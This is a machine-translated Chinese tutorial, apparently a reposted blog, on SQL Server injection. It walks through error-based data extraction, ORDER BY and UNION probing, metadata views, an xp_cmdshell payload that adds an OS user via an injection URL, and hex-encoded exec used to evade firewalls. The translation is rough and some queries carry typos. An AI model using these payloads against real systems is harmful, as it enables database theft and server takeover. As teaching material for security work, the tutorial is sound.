当前位置:网站首页>Zhangxiaobai's way of penetration (III) -- detailed explanation of SQL injection vulnerability principle (SQL Server)

Zhangxiaobai's way of penetration (III) -- detailed explanation of SQL injection vulnerability principle (SQL Server)

2022-06-25 12:32:00 Litbai_ zhang

Common database injection

For most databases ,SQL The principle of injection is basically similar , Because every database follows a SQL Grammar standards . But there are also differences between them, including grammar 、 Functions and so on . therefore , When injecting against different databases , Ideas 、 The method can not be exactly the same . Limited by personal experience , In the next example , Just talk about Oracle 11g、MySQL 5.1、SQL Server2008 Three kinds of database injection .

It is worth mentioning the injection
An attacker's injection into the database , Nothing more than using the database to obtain more data or greater permissions , Then the utilization methods can be roughly classified into the following categories :

  • Query data
  • Read and write files
  • Carry out orders
    Generally, if permission permits , Generally, the database supports the above three operations . The attacker injects , No matter what database , They are all doing these three things , It's just different database Injection SQL It's just a different sentence .

SQL Server

1. Use error messages to extract information
SQL Server Is a very good database , He can pinpoint the error message , For developers , This is a very beautiful thing , It is also a very good thing for the attacker , Because an attacker can extract data from error messages .
(1) Enumerate current tables and columns
Now there's a watch , The structure is as follows :

create table users(
	id int not null identity(1,1),
	username varchar(20) not null,
	password varchar(20) not null,
	privs int not null,
	email varchar(50)
	)

Inquire about root User details ,SQL The statement is as follows

select * from users where username='root'

Attackers can take advantage of SQL Server Features to get sensitive information , Enter the following statement :
'having 1=1- -
Final executed SQL Statement for :

select * from users where username='root' and password='root'  having 1=1- -'

that SQL The actuator will throw an error ( Version difference , The error message displayed will also be different )
news 8120, Level 16, state 1, The first 2 That's ok
Select the columns in the list ’users.id’ Invalid , Because the column is not included in the aggregate function or GROUP BY clause .

You can find that the current table name is "users", And it exists "ID" Name , Attackers can use this feature to continue to get other column names , Enter the following SQL sentence :

select * from users where username='root' and password='root'  group by users.id having 1=1- -'

Actuator error prompt :
news 8120, Level 16, state 1, The first 2 That's ok
Select the columns in the list ’users.username’ Invalid , Because the column is not included in the aggregate function or GROUP BY clause .

You can see that the actuator throws again "username" Name , Thus, you can recursively query in turn , Until no error message is returned , In this way, we can make use of having Clause " Inquire about " List all column names of the current table .

(2) Using data type errors to extract data
If you try to compare a string with a non string , Or when converting a string to another incompatible type , that SQL The editor will throw an exception , For example, the following SQL sentence :

select * from users where username='root' and password='root' and 1 > (select top 1 username from users)

Actuator error prompt :
news 245, Level 16, state 1, The second line
Will be varchar value ’root’ Convert to data type int When the failure .

You can find root The account has been SQL Server to " sell " 了 , This method can recursively deduce all account information :

select * from users where username='root' and password='root' and 1 > (select top 1 username from users where username not in ('root'))

If you do not embed subqueries , You can also make the database report errors , And that's where it comes in SQL Server Built in functions for CONVERT perhaps CASE function , The functions of these two functions are : Convert one data type to another . Enter the following SQL sentence :

select * from users where username='root' and password='root' and 1=convert(int ,(select top 1 users.username from users))

If recursion is troublesome , By using FOR XML PATH Statement to generate the queried data XML,SQL The statement is as follows :

select * from users where username='root' and password='root'  and 1=convert(int,(select stuff((select ','+users.username ,'|' +users.password from users for xml path(' ')),1,1,' ')))

The actuator throws an exception :
news 245, Level 16, state 1, first line
Will be nvchar value ’root|root,admin,xxser|xxser’ Convert to data type int When the failure .

2. Fetch metadata
SQL Sever Provides a large number of views , Easy access to metadata . The following will be used INFORMATION_SCHEMA.TABLES And INFORMATION_SCHEMA.COLUMNS The view gets the database table and its fields .
Get the current database table :

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

The results are as follows

TABLE_NAME
1Result
2Student
3tests
4users
5Grade
6Subject

obtain Student Table field :

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘Student’

The results are as follows

COLUMN_NAME
1StudentNo
2LoginPwd
3StudentNmae
4Sex
5Gradeld
6Phone

There are other commonly used system database views as shown in the following table :

Database view explain
sys.databasesSQL Server All databases in
sys.sql_loginsSQL Server All logins in
Information_schema.tables Tables in the current user database
information_schema.columns Columns in the current user database
sys.all_columns Union of all columns of user-defined objects and system objects
sys.database_principals Every permission or exception permission in the database
sys.database_files Database files stored in the database
sysobjects Every object created in the database ( Constraints, for example 、 Logs and stored procedures )

3.Order by Clause
by SELECT Column sorting of query , If you also specify TOP keyword ,Order by Clause in view 、 Inline function 、 Invalid in derived tables and subqueries .
Attackers usually inject Order by Statement to determine the number of columns in this table .

  • SQL Perform normally
select id ,username,password from users where id =1
  • Sort by first column ,SQL Perform normally
select id ,username,password from users where id =1 Order by 1
  • Sort by the second column ,SQL Perform normally
select id ,username,password from users where id =1 Order by 2
  • Sort by the third column ,SQL Perform normally
select id ,username,password from users where id =1 Order by 3
  • Sort by the third column ,SQL Perform normally
select id ,username,password from users where id =1 Order by 4
  • Throw an exception
    news 108, Level 16, state 1, The first 1 That's ok
    Order by Location number 4 The number of items in the selection list is exceeded .
select id ,username,password from users where id =1 Order by 4

stay SQL In the sentence , Only three columns were queried , Instead, we require the database to be sorted by the fourth column , So the database throws an exception , The attacker also learned that the current SQL Statement has several columns . stay Oracle、MySQL The same applies to the database .
After knowing the number of columns , An attacker can cooperate UNION Keyword for the next attack .

4.UNION Inquire about
UNION Keyword combines two or more query results into a single result set , Commonly known as joint query , Most databases support UNION Inquire about , Such as MySQL、SQL Server、Oracle、DB2 etc. . The following lists the use of UNION Basic rules for merging two result sets

  • The number of columns in all queries must be the same
  • Data type must be compatible

Patients with a : Number of federated query probe fields
Previously introduced USER In the table , Inquire about id Field is 1 Users of , natural SQL Statement for :

select di ,username,password,sex from users where id =1

Use UNION Query pair id Field injection ,SQL The statement is as follows :

 select di ,username,password,sex from users where id =1 union select null

The database sent an exception :
news 205, Level 16, state 1, The first 1 That's ok
Use UNION、INTERSECT or EXCEPT The desired query to be merged by the operator must have the same number of expressions in its target list .

recursive query , Until no error occurs , Then we can know User The number of fields queried by the table is

union select null,null
union select null,null,null

Example 2 : Joint query of sensitive information
We have already described how to get the number of fields , Next, let's take a look at how attackers use UNION Keyword query sensitive information ,UNION Queries can be found at SQL Injection plays a very big role .
If we know that the number of columns is 4, You can continue to inject with the following statement :

id=5 union select 'x' ,null,null,null from sysobject where xtype= 'U'

If the first 1 Column data type mismatch , The database will report an error , At this point, you can continue the recursive query , Until the statement executes normally .

id=5 union select null, 'x' ,null,null from sysobject where xtype='U'
id=5 union select null, null ,'x',null from sysobject where xtype='U'

The statement executes normally , Represents data type compatibility , It can be x Replace with SQL sentence , Query sensitive information .
There are also attackers who like to use UNION ALL keyword ,UNION and UNION ALL The biggest difference is UNION Will automatically remove duplicate data , And sort by default .
5. Innocent functions
SQL Server Provides a lot of system functions , With this system function, you can access SQL Server Information in the system table , Instead of using SQL Statement query . System functions bring us great convenience, but also become a sharp tool for attackers to obtain information .
Using system functions is a very simple thing , for example :

  • select suser_name(): Returns the login ID of the user ;
  • select user_name(): Returns the database user name based on the specified identification number ;
  • select db_name(): Return database name ;
  • selectis_member(‘db_owner’): Database role or not ;
  • select convert(int,‘5’): Data type conversion .

SQL Common functions are shown in the following table

function explain
stuff String truncation function
ascii take ASCII code
char according to ASCII Code take character
getdate Return date
count Returns the total number of entries in the group
cast Explicitly convert an expression of one data type to an expression of another data type
rand Returns a random value
is_srvrolemember Appoint SQL Server Is the login a member of the specified server role

6. Dangerous stored procedures

stored procedure (Stored Procedure) It is a group of databases in a large database system to complete specific functions SQL" function ", Such as : Execute system commands , Check the registry , Read the disk directory, etc .
The stored procedures most commonly used by attackers are “xp_cmdshell”, This stored procedure allows the user to execute operating system commands .
for example :http://www.secbug.org/test.aspx?id=1 There are injection points , Then the attacker can execute command attack :

http://www.secbug.org/test.aspx?id=1;exec xp_cmdshell 'net user test /add'

Final executed SQL The statement is as follows :

select * from table where id=1;exec xp_cmdshell 'net user test test /add'

Attackers can directly exploit xp_cmdshell Manipulate the server .
ps: Not any database user can use such stored procedures , The user must hold CONTROL SERVER jurisdiction .
image xp_cmdshell There are many stored procedures like , Common hazardous stored procedures are shown in the following table

The process explain
sp_addlogin Create a new SQL Server Sign in , This login allows the user to use SQL Server Authentication connects to SQL Server example
sp_dropuser Delete database users from the current database
xp_enumgroups Provide Microsoft Windows Local group list or in the specified Windows List of global groups defined in the domain
xp_regwrite Unpublished stored procedures , Write to the registry
xp_regread Read registry
xp_regdeletevalue Delete registry
xp_dirtree Read directory
sp_password Change password
xp_servicecontrol Stop or activate a service

Attackers may also write some stored procedures themselves , such as I/O operation ( File read / Write ), These are all achievable .
in addition , Any database that uses special functions or stored procedures , All require specific permissions , Otherwise it won't work .
SQL Server The roles and permissions of the database are as follows :

role jurisdiction
bulkadmin Role members can run BULK INSERT sentence
dbcreator You can create 、 change 、 Delete and restore any databases
diskadmin Can manage disk files
processadmin You can terminate processes running in the database engine instance
securityadmin You can manage logins and their properties . You can use GRANT、DENY and REVOKE Server level permissions ; It can also be used GRANT、DENY and REVOKE Database level permissions . Besides , You can also reset SQL Server Face password of login name
serveradmin You can change the server wide configuration options and turn off the server
setupadmin You can add and remove linked servers , And can execute some system stored procedures
sysadmin Role members can perform any activity in the database engine . By default ,Windows BUILTIN\Administrators Group ( Local Administrators group ) All of our members are sysadmin Fixed server role members

7. Dynamic execution

SQL Server Support dynamic execution of statements , The user can submit a string to execute SQL sentence , for example :

exec ('select username,password from users')
exec('select'+'t username,password fro' +'m users')

It can also be defined by 16 It's binary SQL sentence , Use exec Function execution . Most of the Web Application firewalls filter single quotes , utilize exec perform 16 Base number SQL Statement does not have single quotation marks , This feature can break through many firewalls and anti injection programs , Such as :

declare @query varchar(888)
select @query=0x73656c6563742031
exec(@query)

perhaps

declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656c6563742031/**/exec(@query)
原网站

版权声明
本文为[Litbai_ zhang]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202200531021885.html

随机推荐